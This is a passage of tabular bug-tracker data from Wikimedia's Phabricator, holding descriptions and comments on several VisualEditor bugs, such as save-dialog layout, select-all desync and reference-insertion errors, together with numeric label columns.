+**Attached**: {F11479}",,,1384698145,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,19,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+243750,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","The fix for this is now merged and will be deployed on Thursday 10 October to MediaWiki.org, and to Wikipedias on Thursday 17 October.",,,1381187062,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243742,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Change 81876 merged by jenkins-bot:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1381186920,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+243735,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings",*** Bug 54802 has been marked as a duplicate of this bug. ***,,,1380833625,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,13,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+243729,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Change 81876 had a related patch set uploaded by Jforrester:
+Make the save dialog an actual dialog
+
+https://gerrit.wikimedia.org/r/81876",,,1378325649,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+243722,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Created attachment 13242
+pl.wp screenshot
+
+It breaks particularly badly on wikis with FlaggedRevs.
+
+//attachment 2013-09-04 22_07_50-Edytujesz Rafał Kosik - Wikipedia - Opera.png ignored as obsolete//",,,1378325442,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+243716,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings",*** Bug 52176 has been marked as a duplicate of this bug. ***,,,1377815261,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+243710,"VisualEditor: Save dialog's checkboxes layout terribly if you have more than 2 items, or long i18n strings","Created attachment 12997
+Windows 7 screenshot
+
+Font is obviously a contributing factor here; on Windows the layout problem almost disappears.
+
+//attachment VE_de_save_dialog_checkboxes_Firefox_on_Windows.png ignored as obsolete//",,,1375061595,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-q3emmq6fhgusggcncftz,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+54171,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,"**Author:** `jonathan_haas`
+
+**Description:**
+To reproduce:
+
+1. Goto http://de.wikipedia.org/wiki/Hint
+2. Open visual editor
+3. Select all (ctrl+a)
+4. Enter ""foobar"" (without quotation marks)
+
+Expected: 
+
+- page contains ""foobar""
+
+Actual:
+
+- page contains
+
+ffoffoffoffoofbar|foffoffof
+foo
+
+
+| = cursor position
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1374993900,1404955719.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_description,resolved,True,c1,3,False,False,False,3,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+243512,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,Confirmed now fixed.,,,1404955719,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+243505,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,WFM in Firefox,,,1404940599,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,True,,,53,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+243501,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,"(In reply to Jonathan Haas from comment #4)
+> The underlying bug doesn't seem to be fixed.
+> 
+> To reproduce (Linux, Firefox):
+> 
+> 1. Copy the Text ""Foundation"" (without quotation marks) to the clipboard
+> 2. Open: https://de.wikipedia.org/wiki/The_Binding_of_Isaac?veaction=edit
+> 3. Select all (Ctrl+A)
+> 4. Paste Clipboard (Ctrl+V)
+> 5. Type ""foobar""
+> 
+> Expected result:
+> 
+> Page contains ""Foundationfoobar""
+> 
+> Actual result:
+> 
+> Page contains:
+> 
+> obar|
+> 
+> oo
+> 
+> fo
+> Foundationf
+
+
+Interesting. This worked for me when I tested it, but doesn't now; perhaps it's content-driven (as well as being a symptom of how broken bits of Firefox are).",,,1403140941,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,True,,,50,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+243495,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,"**jonathan_haas** wrote:
+
+The underlying bug doesn't seem to be fixed.
+
+To reproduce (Linux, Firefox):
+
+1. Copy the Text ""Foundation"" (without quotation marks) to the clipboard
+2. Open: https://de.wikipedia.org/wiki/The_Binding_of_Isaac?veaction=edit
+3. Select all (Ctrl+A)
+4. Paste Clipboard (Ctrl+V)
+5. Type ""foobar""
+
+Expected result:
+
+Page contains ""Foundationfoobar""
+
+Actual result:
+
+Page contains:
+
+obar|
+
+oo
+
+fo
+Foundationf",,,1403077926,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,False,,,50,,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+243488,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,Was fixed by something Ed did a while ago.,,,1402003336,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,False,,,48,,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+243481,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,"**jonathan_haas** wrote:
+
+Note that the above result was created using Firefox 23.
+
+Chrome 28 produces the following (equally wrong) result:
+
+fbar|ofo
+o
+foo",,,1377077317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,False,,,7,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+243475,VisualEditor: Select-all and typing makes document significantly out-of-sync in Firefox,Reproduced.,,,1375050259,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-r5kajbzeeq4xhzra4a5e,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+54160,VisualEditor: [Regression] Reference list not being updated during editing session,"When a reference is edited, the updated version will not appear in the reference list when attempting to insert an existing reference. Instead, the reference that will appear in the reference list will be the reference as it was when the page editing started.
+
+To reproduce, go to a page with references. Edit one of the references, and don't save. Then, do as if you wanted to insert an existing reference and look at the list of existing references. The edit to the reference you have edited will not appear.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374967920,1384838363.0,PHID-USER-2rwkb3az6uklfhh5aqw5,False,,False,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+242786,VisualEditor: [Regression] Reference list not being updated during editing session,"@Cainamarques, please see https://bugzilla.wikimedia.org/show_bug.cgi?id=57209 and comment there if you really manage to properly see and choose from the list of reusable references. Thanks.",,,1384881631,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,0
+242781,VisualEditor: [Regression] Reference list not being updated during editing session,"This bug seems to be fixed, I can perfectly edit and reuse references using Firefox 25.0",,,1384837089,,PHID-USER-qlrpm27qlsmjh2pg65bg,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,20,,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+242778,VisualEditor: [Regression] Reference list not being updated during editing session,(Wondering if this is related to https://bugzilla.wikimedia.org/show_bug.cgi?id=51689.),,,1384809283,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,20,,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+242776,VisualEditor: [Regression] Reference list not being updated during editing session,"Likewise, the reference list is not updated if I add a new reference to the page, thus being unable to reuse it in the current edit.",,,1378073148,,PHID-USER-qlrpm27qlsmjh2pg65bg,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+242774,VisualEditor: [Regression] Reference list not being updated during editing session,"Confirmed.  Use existing reference shows original references, before they were modified.",,,1375051990,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-3gmemcjr7w4kdsoeiv6t,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+54159,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","When an existing reference is inserted, it is put at the start of the paragraph the cursor is currently in, regardless of where it is in that paragraph. This has happened to me while I was attempting to use in a paragraph a reference that was already used in that paragraph: the reference got inserted at the start of the paragraph and I was not able to move it. I tried again some times but it still did not work and I had to use the wikitext editor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374966180,1377019526.0,PHID-USER-2rwkb3az6uklfhh5aqw5,False,,False,PHID-TASK-ehj46yftpulklnhzc5nl,task_description,resolved,True,c1,3,False,False,True,3,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+242730,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is",*** Bug 52594 has been marked as a duplicate of this bug. ***,,,1385374664,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242728,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","Should now be fixed; we will deploy this earlier than scheduled, later today.",,,1377019526,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,True,,,7,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+242726,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","Change 80056 merged by jenkins-bot:
+Preserve selection when inserting references
+
+https://gerrit.wikimedia.org/r/80056",,,1377019484,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+242723,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","Change 80056 had a related patch set uploaded by Esanders:
+Preserve selection when inserting references
+
+https://gerrit.wikimedia.org/r/80056",,,1377019336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+242717,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","AFAICT this only happens in the first paragraph (and only in Firefox).
+
+This is throwing an error in Rangy:
+
+  TypeError: sel.nativeSelection is null
+  sel._ranges.length = sel.rangeCount = sel.nativeSelection.rangeCount;
+
+… but for some reason I can't get Firebug to give me a trace.",,,1376611609,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,True,,,6,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+242711,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","At en.wp WhatamIdoing reports:
+I was just trying to add the ref to the other sentences. It misplaced two copies at the start of the paragraph when I wanted one at the end of the first line of the first paragraph (perhaps I clicked too high on the top line of the edit window?). After I removed those, I couldn't add any more. Clicking the ref button did nothing."" He gives the following URL:
+https://en.wikipedia.org/w/index.php?title=Swing_%28seat%29&diff=568557479&oldid=568556853",,,1376554077,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,6,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,0
+242707,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","I have done similar manipulations in other articles at some moments, and it seems it sometimes works and sometimes doesn't. There are many things that are strange concerning how the existing references system works.
+
+Regardless, I set up a sandbox page on my user space, added a reference and then tried to re-use that reference using the VisualEditor. The reference was added at the start of the paragraph. I've done some more experimenting, and I've written steps to reproduce the bug; the first block reproduces the bug and the following blocks are other experimentations that give more strange results.
+
+1. Go to [[User:Rastus Vernon/VisualEditor Sandbox]].
+2. Edit the page with the VisualEditor.
+3. Click somewhere in the first paragraph, not at the start.
+4. Click on the reference button and re-use the reference (there is only one).
+5. Note how the reference was inserted at the start of the paragraph instead of being inserted where your cursor was.
+
+6. Click in another paragraph, not at the start.
+7. Insert the same reference again.
+8. Note how the reference was inserted at the right position.
+
+9. Perform steps 7 and 8 again.
+10. Note how it was again inserted at the right position, although the reference is already in that paragraph.
+
+11. Try inserting it again in the first paragraph.
+12. Note how it still inserts it at the start of the paragraph instead of inserting it in the right location.
+
+13. Be confused because you don't understand anything about this inconsistent behavior.",,,1375231690,,PHID-USER-2rwkb3az6uklfhh5aqw5,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,4,,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+242702,"VisualEditor: Inserting an existing reference in the first paragraph in Firefox puts it at the start of the paragraph, not where the cursor is","I did only a quick test, and could not reproduce this bug.  Could you give more detailed instructions?",,,1375052081,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ehj46yftpulklnhzc5nl,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0
+54127,VisualEditor: Editing a link spanning a comment splits the link,"Tested on Firefox 22 (Monobook) and Chrome 28 (Vector)
+
+Steps to reproduce:
+- Edit the [[Nodeulseom]] page in the visual editor.
+- Click reference [1] and edit it.
+- Click the hyperlink in the reference and point it to ""http://www.koreatimes.co.kr/"" (Eg: Just remove the last part from the reference)
+- Apply the change.
+- Hit ""Save Page"" and review the changes.
+
+Instead of replacing the old link, it seems that the preview suggest that the link will be duplicated, leaving both the old and new link in the reference.
+
+(Diff)
+<ref>[http://www.koreatimes.co.kr/ (The Korea Times)][http://www.koreatimes.co.kr/www/news/nation/nation_view.asp?newsIdx=5635&categoryCode=115 <!-- Bot generated title -->]</ref>
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1374878820,1406598194.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-jhcapgyaxz3ow5vafpun,task_description,resolved,True,c1,3,False,False,False,3,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+241067,VisualEditor: Editing a link spanning a comment splits the link,"This is now fixed because comments are editable (finally), but there's a wider, lower-priority issue for non-comments, for which I have created bug 68779 to track.",,,1406598194,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,True,,,56,,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0
+241062,VisualEditor: Editing a link spanning a comment splits the link,"(In reply to Gerrit Notification Bot from comment #3)
+> Change 141063 merged by jenkins-bot:
+> Also annotate metadata in TransactionProcessor
+> 
+> https://gerrit.wikimedia.org/r/141063
+
+Helpfully, this doesn't actually fix the bug (just a number of related bugs where the comment isn't on the edge of the link). Assigned.",,,1403909628,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,True,,,51,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+241055,VisualEditor: Editing a link spanning a comment splits the link,"Change 141063 merged by jenkins-bot:
+Also annotate metadata in TransactionProcessor
+
+https://gerrit.wikimedia.org/r/141063",,,1403905782,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jhcapgyaxz3ow5vafpun,task_subcomment,,True,c1,3,False,,,51,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241049,VisualEditor: Editing a link spanning a comment splits the link,"Change 141063 had a related patch set uploaded by Catrope:
+Also annotate metadata in TransactionProcessor
+
